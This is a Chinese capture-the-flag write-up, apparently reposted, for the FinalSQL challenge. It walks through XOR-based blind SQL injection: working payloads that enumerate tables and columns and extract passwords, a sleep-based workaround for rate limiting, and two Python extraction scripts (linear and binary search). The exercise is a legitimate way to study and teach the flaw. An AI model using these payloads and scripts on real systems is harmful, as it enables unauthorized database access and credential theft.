当前位置: 首页 > news >正文

[极客大挑战 2019]FinalSQL - 异或盲注

1
1、这题的关键是找注入点,如果选择用户名、密码作为输入点就麻烦了

2、注入点:按钮,点击就传id;当id=1时,提示Click others
  可以利用id的特性,构造异或匹配
  payload: f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1"
  payload有两个异或:1^表达式^1
  如果中间为真,则返回1,那么
  01^01(前异或)=00^01(后异或)=01=1 —— id=1 —— 也就是提示Click others
  如果中间为假,则返回0,那么
  00^01(前异或)=01^01(后异或)=00=0 —— id=0 —— 也就是提示Error

3、查出表名:1n1yl\11yaa(这个结果错误的,通过下面的查询,查不出列)(查看re后发现,请求会提示429,too many requests)
  解决方法:查询频率太高了,使用**time.sleep(0.2)**解决
  查出表名:F1naI1y,Flaaaaag

4、payload: f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=Flaaaaag)),{j},1))={i})^1"
  查出列名:id,fl4gawsl(查到NO!NO!说明flag不在这个表)

5、payload: f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=F1naI1y)),{j},1))={i})^1"
  查出列名:id,username,password

6、payload: f"1^(ord(substr((select(password)from(F1naI1y)),{j},1))={i})^1"
跑了半小时得到:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www. ,还是没有拿到flag,速度太慢了
换二分法得到:flag=cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{f1319cf3-b1e6-46d6-9473-c857240bcdee}
注意:不论是什么方法,sleep都必须要,否则频率太高就查不出来了

脚本:速度太慢

s = requests.session()
url = "http://29cc5d3e-b351-41f6-9266-205c0e2f9064.node4.buuoj.cn:81/search.php?id="
result = ""
for j in range(1,10000):for i in range(1,128):#过滤空格、and等关键字payload = f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1"#payload = f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='1n1yl')),{j},1))>{i})^1"data={"id":payload}time.sleep(0.2)re = s.get(url+payload).text#re = s.post(url,data).text#print(url+payload)#print(re)if "Click" in re:result += chr(i)print(result)break

脚本:二分法

def payload(i, j):sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)time.sleep(0.06)# print (r.url)if "Click" in r.text:res = 1else:res = 0return res
def exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break#print(f)flag += chr(f)print(flag)
exp()
print('flag=', flag)
http://www.lryc.cn/news/183676.html

相关文章:

  • 【Go语言实战】(25) 分布式算法 MapReduce
  • 【网络安全-信息收集】网络安全之信息收集和信息收集工具讲解(提供工具)
  • 战火使命ssr排名,战火使命角色强度排行
  • CSS之linear-gradient( ) 函数—背景颜色渐变设计
  • [Unity]未能加载一个或多个断点问题
  • Qt中的基础数据类型
  • 2023阿里云域名优惠口令大全
  • 湖南软件测评公司简析:软件功能测试和非功能测试的联系和区别
  • HuggingFace Transformers教程(1)--使用AutoClass加载预训练实例
  • Qt获取当前所用的Qt版本、编译器、位数等信息
  • 《C和指针》笔记31:多维数组的数组名、指向多维数组的指针、作为函数参数的多维数组
  • 【伪彩色图像处理】将灰度图像转换为彩色图像研究(Matlab代码实现)
  • Go Gin Gorm Casbin权限管理实现 - 2. 使用Gorm存储Casbin权限配置以及`增删改查`
  • DNDC模型的温室气体排放分析
  • vue、全局前置守卫
  • OpenWRT、Yocto 、Buildroot和Ubuntu有什么区别
  • 数据挖掘(3)特征化
  • 【RabbitMQ 实战】08 集群原理剖析
  • 2023年 2月3月 工作经历
  • selenium京东商城爬取
  • 用pandas处理数据时,使变量能够在不同的Notebook会话页面进行传递,魔法命令%store
  • 选择适合户外篷房企业的企业云盘解决方案
  • 松鼠搜索算法(SSA)(含MATLAB代码)
  • 折半+dp之限制转状态+状压:CF1767E
  • 如何写出优质代码
  • ChatGLM2-6B的通透解析:从FlashAttention、Multi-Query Attention到GLM2的微调、源码解读
  • 3D人脸生成的论文
  • 解决问题:可以用什么方式实现自动化部署
  • 【数据结构】链表栈
  • Android笔记:Android 组件化方案探索与思考